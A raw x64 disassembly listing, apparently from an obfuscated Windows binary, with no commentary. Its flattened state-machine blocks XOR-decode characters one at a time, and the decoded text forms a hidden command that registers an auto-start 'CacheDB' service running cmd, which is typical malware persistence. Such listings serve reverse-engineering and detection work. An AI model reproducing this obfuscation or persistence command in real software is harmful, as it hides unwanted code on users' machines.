movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180028ec0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x2f
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180028ea0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0xa], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180028fdf
cmp edx, 0x31e06469
jne 0x180028f10
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180028f58
cmp edx, 0x4cb6a7b5
jne 0x180028f30
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180028f30
movzx edx, word [rbp + 0x114]
xor edx, 0x61
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180028f10
mov ecx, dword [rbp + 0x100]
mov word [rax + 0xa], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002904f
cmp ecx, 0x31e06469
jne 0x180028f80
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180028fc8
cmp ecx, 0x4cb6a7b5
jne 0x180028fa0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180028fa0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x73
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180028f80
mov edx, dword [rbp + 0x100]
mov word [rcx + 0xc], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x1800290bf
cmp edx, 0x31e06469
jne 0x180028ff0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029038
cmp edx, 0x4cb6a7b5
jne 0x180029010
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029010
movzx edx, word [rbp + 0x114]
xor edx, 0x74
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180028ff0
mov ecx, dword [rbp + 0x100]
mov word [rax + 0xc], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002912f
cmp ecx, 0x31e06469
jne 0x180029060
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x1800290a8
cmp ecx, 0x4cb6a7b5
jne 0x180029080
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029080
movzx ecx, word [rbp + 0x114]
xor ecx, 0x20
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029060
mov edx, dword [rbp + 0x100]
mov word [rcx + 0xe], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002919f
cmp edx, 0x31e06469
jne 0x1800290d0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029118
cmp edx, 0x4cb6a7b5
jne 0x1800290f0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x1800290f0
movzx edx, word [rbp + 0x114]
xor edx, 0x65
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x1800290d0
mov ecx, dword [rbp + 0x100]
mov word [rax + 0xe], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002920f
cmp ecx, 0x31e06469
jne 0x180029140
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029188
cmp ecx, 0x4cb6a7b5
jne 0x180029160
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029160
movzx ecx, word [rbp + 0x114]
xor ecx, 0x25
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029140
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x10], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002927f
cmp edx, 0x31e06469
jne 0x1800291b0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x1800291f8
cmp edx, 0x4cb6a7b5
jne 0x1800291d0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x1800291d0
movzx edx, word [rbp + 0x114]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x1800291b0
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x10], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x1800292ef
cmp ecx, 0x31e06469
jne 0x180029220
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029268
cmp ecx, 0x4cb6a7b5
jne 0x180029240
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029240
movzx ecx, word [rbp + 0x114]
xor ecx, 0x73
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029220
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x12], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002935f
cmp edx, 0x31e06469
jne 0x180029290
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x1800292d8
cmp edx, 0x4cb6a7b5
jne 0x1800292b0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x1800292b0
movzx edx, word [rbp + 0x114]
xor edx, 0x43
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029290
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x12], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x1800293cf
cmp ecx, 0x31e06469
jne 0x180029300
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029348
cmp ecx, 0x4cb6a7b5
jne 0x180029320
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029320
movzx ecx, word [rbp + 0x114]
xor ecx, 0x22
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029300
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x14], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002943f
cmp edx, 0x31e06469
jne 0x180029370
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x1800293b8
cmp edx, 0x4cb6a7b5
jne 0x180029390
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029390
movzx edx, word [rbp + 0x114]
xor edx, 0x61
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029370
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x14], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x1800294af
cmp ecx, 0x31e06469
jne 0x1800293e0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029428
cmp ecx, 0x4cb6a7b5
jne 0x180029400
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029400
movzx ecx, word [rbp + 0x114]
xor ecx, 0x20
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x1800293e0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x16], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002951f
cmp edx, 0x31e06469
jne 0x180029450
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029498
cmp edx, 0x4cb6a7b5
jne 0x180029470
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029470
movzx edx, word [rbp + 0x114]
xor edx, 0x63
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029450
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x16], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002958f
cmp ecx, 0x31e06469
jne 0x1800294c0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029508
cmp ecx, 0x4cb6a7b5
jne 0x1800294e0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x1800294e0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x73
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x1800294c0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x18], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x1800295ff
cmp edx, 0x31e06469
jne 0x180029530
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029578
cmp edx, 0x4cb6a7b5
jne 0x180029550
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029550
movzx edx, word [rbp + 0x114]
xor edx, 0x68
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029530
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x18], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002966f
cmp ecx, 0x31e06469
jne 0x1800295a0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x1800295e8
cmp ecx, 0x4cb6a7b5
jne 0x1800295c0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x1800295c0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x74
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x1800295a0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x1a], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x1800296df
cmp edx, 0x31e06469
jne 0x180029610
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029658
cmp edx, 0x4cb6a7b5
jne 0x180029630
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029630
movzx edx, word [rbp + 0x114]
xor edx, 0x65
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029610
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x1a], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002974f
cmp ecx, 0x31e06469
jne 0x180029680
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x1800296c8
cmp ecx, 0x4cb6a7b5
jne 0x1800296a0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x1800296a0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x61
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029680
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x1c], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x1800297bf
cmp edx, 0x31e06469
jne 0x1800296f0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029738
cmp edx, 0x4cb6a7b5
jne 0x180029710
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029710
movzx edx, word [rbp + 0x114]
xor edx, 0x44
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x1800296f0
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x1c], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002982f
cmp ecx, 0x31e06469
jne 0x180029760
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x1800297a8
cmp ecx, 0x4cb6a7b5
jne 0x180029780
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029780
movzx ecx, word [rbp + 0x114]
xor ecx, 0x72
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029760
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x1e], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002989f
cmp edx, 0x31e06469
jne 0x1800297d0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029818
cmp edx, 0x4cb6a7b5
jne 0x1800297f0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x1800297f0
movzx edx, word [rbp + 0x114]
xor edx, 0x42
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x1800297d0
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x1e], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x18002990f
cmp ecx, 0x31e06469
jne 0x180029840
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029888
cmp ecx, 0x4cb6a7b5
jne 0x180029860
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029860
movzx ecx, word [rbp + 0x114]
xor ecx, 0x74
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029840
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x20], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002997f
cmp edx, 0x31e06469
jne 0x1800298b0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x1800298f8
cmp edx, 0x4cb6a7b5
jne 0x1800298d0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x1800298d0
movzx edx, word [rbp + 0x114]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x1800298b0
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x20], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x1800299ef
cmp ecx, 0x31e06469
jne 0x180029920
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029968
cmp ecx, 0x4cb6a7b5
jne 0x180029940
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029940
movzx ecx, word [rbp + 0x114]
xor ecx, 0x3d
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029920
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x22], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029a5f
cmp edx, 0x31e06469
jne 0x180029990
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x1800299d8
cmp edx, 0x4cb6a7b5
jne 0x1800299b0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x1800299b0
movzx edx, word [rbp + 0x114]
xor edx, 0x62
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029990
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x22], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180029acf
cmp ecx, 0x31e06469
jne 0x180029a00
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029a48
cmp ecx, 0x4cb6a7b5
jne 0x180029a20
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029a20
movzx ecx, word [rbp + 0x114]
xor ecx, 0x20
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029a00
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x24], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029b3f
cmp edx, 0x31e06469
jne 0x180029a70
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029ab8
cmp edx, 0x4cb6a7b5
jne 0x180029a90
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029a90
movzx edx, word [rbp + 0x114]
xor edx, 0x69
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029a70
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x24], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180029baf
cmp ecx, 0x31e06469
jne 0x180029ae0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029b28
cmp ecx, 0x4cb6a7b5
jne 0x180029b00
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029b00
movzx ecx, word [rbp + 0x114]
xor ecx, 0x61
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029ae0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x26], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029c1f
cmp edx, 0x31e06469
jne 0x180029b50
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029b98
cmp edx, 0x4cb6a7b5
jne 0x180029b70
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029b70
movzx edx, word [rbp + 0x114]
xor edx, 0x6e
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029b50
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x26], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180029c8f
cmp ecx, 0x31e06469
jne 0x180029bc0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029c08
cmp ecx, 0x4cb6a7b5
jne 0x180029be0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029be0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x75
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029bc0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x28], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029cff
cmp edx, 0x31e06469
jne 0x180029c30
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029c78
cmp edx, 0x4cb6a7b5
jne 0x180029c50
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029c50
movzx edx, word [rbp + 0x114]
xor edx, 0x50
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029c30
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x28], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180029d6f
cmp ecx, 0x31e06469
jne 0x180029ca0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029ce8
cmp ecx, 0x4cb6a7b5
jne 0x180029cc0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029cc0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x74
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029ca0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x2a], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029ddf
cmp edx, 0x31e06469
jne 0x180029d10
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029d58
cmp edx, 0x4cb6a7b5
jne 0x180029d30
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029d30
movzx edx, word [rbp + 0x114]
xor edx, 0x61
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029d10
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x2a], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180029e4f
cmp ecx, 0x31e06469
jne 0x180029d80
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180029dc8
cmp ecx, 0x4cb6a7b5
jne 0x180029da0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180029da0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x6f
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180029d80
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x2c], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029e7d
cmp edx, 0x31e06469
jne 0x180029df0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180029e38
cmp edx, 0x4cb6a7b5
jne 0x180029e10
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029e10
movzx edx, word [rbp + 0x114]
xor edx, 0x74
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029df0
mov ecx, dword [rbp + 0x100]
mov word [rax + 0x2c], cx
add rax, 0x2e
mov rcx, qword [rbp + 0xe0]
mov edx, 0x88
add rcx, rdx
mov qword [rbp + 0xf8], rcx
mov ecx, 0x494fab72
jmp 0x180028a50
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x2e], dx
mov edx, 0x31e06469
nop dword [rax]
cmp edx, 0x45644e5d
je 0x180029eef
cmp edx, 0x31e06469
jne 0x180029e90
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x180029ed8
cmp edx, 0x4cb6a7b5
jne 0x180029eb0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029eb0
movzx edx, word [rbp + 0x114]
xor edx, 0x68
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029e90
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x30], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029f5f
cmp edx, 0x31e06469
jne 0x180029f00
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x180029f48
cmp edx, 0x4cb6a7b5
jne 0x180029f20
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029f20
movzx edx, word [rbp + 0x114]
xor edx, 0x3d
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029f00
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x32], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180029fcf
cmp edx, 0x31e06469
jne 0x180029f70
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x180029fb8
cmp edx, 0x4cb6a7b5
jne 0x180029f90
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180029f90
movzx edx, word [rbp + 0x114]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029f70
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x34], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a03f
cmp edx, 0x31e06469
jne 0x180029fe0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a028
cmp edx, 0x4cb6a7b5
jne 0x18002a000
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a000
movzx edx, word [rbp + 0x114]
xor edx, 0x22
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180029fe0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x36], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a0af
cmp edx, 0x31e06469
jne 0x18002a050
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a098
cmp edx, 0x4cb6a7b5
jne 0x18002a070
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a070
movzx edx, word [rbp + 0x114]
xor edx, 0x63
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a050
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x38], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a11f
cmp edx, 0x31e06469
jne 0x18002a0c0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a108
cmp edx, 0x4cb6a7b5
jne 0x18002a0e0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a0e0
movzx edx, word [rbp + 0x114]
xor edx, 0x6d
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a0c0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x3a], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a18f
cmp edx, 0x31e06469
jne 0x18002a130
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a178
cmp edx, 0x4cb6a7b5
jne 0x18002a150
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a150
movzx edx, word [rbp + 0x114]
xor edx, 0x64
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a130
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x3c], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a1ff
cmp edx, 0x31e06469
jne 0x18002a1a0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a1e8
cmp edx, 0x4cb6a7b5
jne 0x18002a1c0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a1c0
movzx edx, word [rbp + 0x114]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a1a0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x3e], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a26f
cmp edx, 0x31e06469
jne 0x18002a210
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a258
cmp edx, 0x4cb6a7b5
jne 0x18002a230
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a230
movzx edx, word [rbp + 0x114]
xor edx, 0x2f
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a210
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x40], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a2df
cmp edx, 0x31e06469
jne 0x18002a280
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
